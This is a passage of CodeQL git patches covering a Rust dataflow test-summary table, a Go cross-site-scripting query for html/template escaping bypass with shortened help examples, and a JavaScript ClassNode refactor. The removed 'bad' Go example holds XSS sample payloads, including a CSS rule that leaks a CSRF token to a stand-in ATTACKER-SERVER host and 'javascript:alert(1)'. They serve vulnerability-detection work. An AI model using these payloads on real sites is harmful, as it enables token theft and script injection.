ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128 | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128_le | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 066f83a64748..e2cea47b95b3 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -591,7 +591,7 @@ async fn test_tokio_file() -> std::io::Result<()> { use std::net::ToSocketAddrs; -async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { // Result<(), Box> +async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { // using std::net to fetch a web page let address = "example.com:80"; From f8791861c70ec02622e7b30b07cd5f10547506e4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 17:18:53 +0100 Subject: [PATCH 064/535] Add missing metadata --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index dd67df44fe63..6dc0f702841c 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -5,6 +5,8 @@ * scripting vulnerability. * @kind path-problem * @problem.severity error + * @security-severity 6.1 + * @precision high * @id go/html-template-escaping-bypass-xss * @tags security * external/cwe/cwe-079 From 6e3b959f6110f29a691e3dae583f2bb98283ea85 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 30 Apr 2025 14:15:14 +0100 Subject: [PATCH 065/535] Reword qhelp slightly --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index 50659b0ba3ec..2a0d27304c95 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

-

Using them on user-provided values will result in an opportunity for XSS.

+

Using them on user-provided values allows for a cross-site scripting vulnerability.

From 00cc430ac3a41d6cb2c1eb0f7f93d77340c8cd21 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 15:50:50 +0100 Subject: [PATCH 066/535] Make examples in qhelp shorter and more realistic --- .../HtmlTemplateEscapingBypassXssBad.go | 69 ++----------------- .../HtmlTemplateEscapingBypassXssGood.go | 14 ++-- 2 files changed, 12 insertions(+), 71 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go index a23dfa153ded..d9bd46a6b9d7 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go @@ -2,69 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -func main() {} -func source(s string) string { - return s -} - -type HTMLAlias = template.HTML - -func checkError(err error) { - if err != nil { - panic(err) - } -} - -// bad is an example of a bad implementation -func bad() { - tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) - tmplTag, _ := template.New("test").Parse(`Hi \n`) - tmplScript, _ := template.New("test").Parse(``) - tmplSrcset, _ := template.New("test").Parse(``) - - { - { - var a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - { - var a template.HTML - a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - var a HTMLAlias - a = HTMLAlias(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - } - } - { - var c = template.HTMLAttr(source(`href="https://example.com"`)) - checkError(tmplTag.Execute(os.Stdout, c)) - } - { - var d = template.JS(source("alert({hello: 'world'})")) - checkError(tmplScript.Execute(os.Stdout, d)) - } - { - var e = template.JSStr(source("setTimeout('alert()')")) - checkError(tmplScript.Execute(os.Stdout, e)) - } - { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) - checkError(tmpl.Execute(os.Stdout, b)) - } - { - var f = template.Srcset(source(`evil.jpg 320w`)) - checkError(tmplSrcset.Execute(os.Stdout, f)) - } - { - var g = template.URL(source("javascript:alert(1)")) - checkError(tmpl.Execute(os.Stdout, g)) - } +func bad(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, template.HTML(username)) } diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go index 3c0a8ad4eb4a..8460f00ba1de 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go @@ -2,14 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -// good is an example of a good implementation -func good() { - tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var escaped = source(`link`) - checkError(tmpl.Execute(os.Stdout, escaped)) - } +func good(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, username) } From 8283d30d941344abc64297a0abb48e2fbf31192c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 15:51:03 +0100 Subject: [PATCH 067/535] Avoid deprecated function in qhelp examples in same folder --- go/ql/src/Security/CWE-079/StoredXss.go | 4 ++-- go/ql/src/Security/CWE-079/StoredXssGood.go | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go index 008b738f4cae..192774f0307d 100644 --- a/go/ql/src/Security/CWE-079/StoredXss.go +++ b/go/ql/src/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go index d73a205ff3fb..a7843e1cfe50 100644 --- a/go/ql/src/Security/CWE-079/StoredXssGood.go +++ b/go/ql/src/Security/CWE-079/StoredXssGood.go @@ -3,12 +3,12 @@ package main import ( "html" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") From bef38a4dcefcb25e3265470ea4b6a243be891786 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 16:04:47 +0100 Subject: [PATCH 068/535] Add change note --- .../2025-05-01-html-template-escaping-bypass-xss.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md new file mode 100644 index 000000000000..ab02478bf4a2 --- /dev/null +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -0,0 +1,4 @@ +--- +category: newQuery +--- +* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . From c430a36b4cfe73ba9c86a33c7c5a59ffcce8d693 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 1 May 2025 12:17:58 +0200 Subject: [PATCH 069/535] Refactored merge `StandardClassNode` into `ClassNode` --- .../ql/lib/semmle/javascript/ApiGraphs.qll | 2 +- .../lib/semmle/javascript/dataflow/Nodes.qll | 520 +++++++++--------- .../dataflow/internal/CallGraphs.qll | 2 +- 3 files changed, 252 insertions(+), 272 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 423c0f5ed1b0..af1676086628 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -1236,7 +1236,7 @@ module API { exists(DataFlow::ClassNode cls | nd = MkClassInstance(cls) | ref = cls.getAReceiverNode() or - ref = cls.(DataFlow::ClassNode::StandardClassNode).getAPrototypeReference() + ref = cls.(DataFlow::ClassNode).getAPrototypeReference() ) or nd = MkUse(ref) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 4cceb9192ea9..aab89e7baa3e 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -861,21 +861,60 @@ module MemberKind { * * Additional patterns can be recognized as class nodes, by extending `DataFlow::ClassNode::Range`. */ -class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { +class ClassNode extends DataFlow::ValueNode, DataFlow::SourceNode { + override AST::ValueNode astNode; + AbstractCallable function; + + ClassNode() { + // ES6 class case + astNode instanceof ClassDefinition and + function.(AbstractClass).getClass() = astNode + or + // Function-style class case + astNode instanceof Function and + function.getFunction() = astNode and + ( + exists(getAFunctionValueWithPrototype(function)) + or + function = any(NewNode new).getCalleeNode().analyze().getAValue() + or + exists(string name | this = AccessPath::getAnAssignmentTo(name) | + exists(getAPrototypeReferenceInFile(name, this.getFile())) + or + exists(getAnInstantiationInFile(name, this.getFile())) + ) + ) + } + /** * Gets the unqualified name of the class, if it has one or one can be determined from the context. */ - string getName() { result = super.getName() } + string getName() { + astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).getName() + or + astNode instanceof Function and result = astNode.(Function).getName() + } /** * Gets a description of the class. */ - string describe() { result = super.describe() } + string describe() { + astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).describe() + or + astNode instanceof Function and result = astNode.(Function).describe() + } /** * Gets the constructor function of this class. */ - FunctionNode getConstructor() { result = super.getConstructor() } + FunctionNode getConstructor() { + // For ES6 classes + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getConstructor().getBody().flow() + or + // For function-style classes + astNode instanceof Function and result = this + } /** * Gets an instance method declared in this class, with the given name, if any. @@ -883,7 +922,7 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * Does not include methods from superclasses. */ FunctionNode getInstanceMethod(string name) { - result = super.getInstanceMember(name, MemberKind::method()) + result = this.getInstanceMember(name, MemberKind::method()) } /** @@ -893,7 +932,7 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * * Does not include methods from superclasses. */ - FunctionNode getAnInstanceMethod() { result = super.getAnInstanceMember(MemberKind::method()) } + FunctionNode getAnInstanceMethod() { result = this.getAnInstanceMember(MemberKind::method()) } /** * Gets the instance method, getter, or setter with the given name and kind. @@ -901,7 +940,43 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * Does not include members from superclasses. */ FunctionNode getInstanceMember(string name, MemberKind kind) { - result = super.getInstanceMember(name, kind) + // ES6 class methods + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getMethod(name) and + not method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + // ES6 class property or Function-style class methods via constructor + kind = MemberKind::method() and + exists(ThisNode receiver | + receiver = this.getConstructor().getReceiver() and + receiver.hasPropertyWrite(name, result) + ) + or + // Function-style class methods via prototype + kind = MemberKind::method() and + exists(DataFlow::SourceNode proto | + proto = this.getAPrototypeReference() and + proto.hasPropertyWrite(name, result) + ) + or + // Function-style class accessors + astNode instanceof Function and + exists(PropertyAccessor accessor | + accessor = this.getAnAccessor(kind) and + accessor.getName() = name and + result = accessor.getInit().flow() + ) + or + kind = MemberKind::method() and + result = + [ + this.getConstructor().getReceiver().getAPropertySource(name), + this.getAPrototypeReference().getAPropertySource(name) + ] } /** @@ -909,20 +984,66 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * * Does not include members from superclasses. */ - FunctionNode getAnInstanceMember(MemberKind kind) { result = super.getAnInstanceMember(kind) } + FunctionNode getAnInstanceMember(MemberKind kind) { + // ES6 class methods + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getAMethod() and + not method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + // ES6 class property or Function-style class methods via constructor + kind = MemberKind::method() and + exists(ThisNode receiver | + receiver = this.getConstructor().getReceiver() and + result = receiver.getAPropertySource() + ) + or + // Function-style class methods via prototype + kind = MemberKind::method() and + exists(DataFlow::SourceNode proto | + proto = this.getAPrototypeReference() and + result = proto.getAPropertySource() + ) + or + // Function-style class accessors + astNode instanceof Function and + exists(PropertyAccessor accessor | + accessor = this.getAnAccessor(kind) and + result = accessor.getInit().flow() + ) + or + kind = MemberKind::method() and + result = + [ + this.getConstructor().getReceiver().getAPropertySource(), + this.getAPrototypeReference().getAPropertySource() + ] + } /** * Gets an instance method, getter, or setter declared in this class. * * Does not include members from superclasses. */ - FunctionNode getAnInstanceMember() { result = super.getAnInstanceMember(_) } + FunctionNode getAnInstanceMember() { result = this.getAnInstanceMember(_) } /** * Gets the static method, getter, or setter declared in this class with the given name and kind. */ FunctionNode getStaticMember(string name, MemberKind kind) { - result = super.getStaticMember(name, kind) + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getMethod(name) and + method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + kind.isMethod() and + result = this.getAPropertySource(name) } /** @@ -935,7 +1056,18 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { /** * Gets a static method, getter, or setter declared in this class with the given kind. */ - FunctionNode getAStaticMember(MemberKind kind) { result = super.getAStaticMember(kind) } + FunctionNode getAStaticMember(MemberKind kind) { + exists(MethodDeclaration method | + astNode instanceof ClassDefinition and + method = astNode.(ClassDefinition).getAMethod() and + method.isStatic() and + kind = MemberKind::of(method) and + result = method.getBody().flow() + ) + or + kind.isMethod() and + result = this.getAPropertySource() + } /** * Gets a static method declared in this class. @@ -944,10 +1076,79 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { */ FunctionNode getAStaticMethod() { result = this.getAStaticMember(MemberKind::method()) } + /** + * Gets a reference to the prototype of this class. + * Only applies to function-style classes. + */ + DataFlow::SourceNode getAPrototypeReference() { + exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | + result = base.getAPropertyRead("prototype") + or + result = base.getAPropertySource("prototype") + ) + or + exists(string name | + this = AccessPath::getAnAssignmentTo(name) and + result = getAPrototypeReferenceInFile(name, this.getFile()) + ) + or + exists(string name, DataFlow::SourceNode root | + result = AccessPath::getAReferenceOrAssignmentTo(root, name + ".prototype").getALocalSource() and + this = AccessPath::getAnAssignmentTo(root, name) + ) + or + exists(ExtendCall call | + call.getDestinationOperand() = this.getAPrototypeReference() and + result = call.getASourceOperand() + ) + } + + private PropertyAccessor getAnAccessor(MemberKind kind) { + // Only applies to function-style classes + astNode instanceof Function and + result.getObjectExpr() = this.getAPrototypeReference().asExpr() and + ( + kind = MemberKind::getter() and + result instanceof PropertyGetter + or + kind = MemberKind::setter() and + result instanceof PropertySetter + ) + } + /** * Gets a dataflow node that refers to the superclass of this class. */ - DataFlow::Node getASuperClassNode() { result = super.getASuperClassNode() } + DataFlow::Node getASuperClassNode() { + // ES6 class superclass + astNode instanceof ClassDefinition and + result = 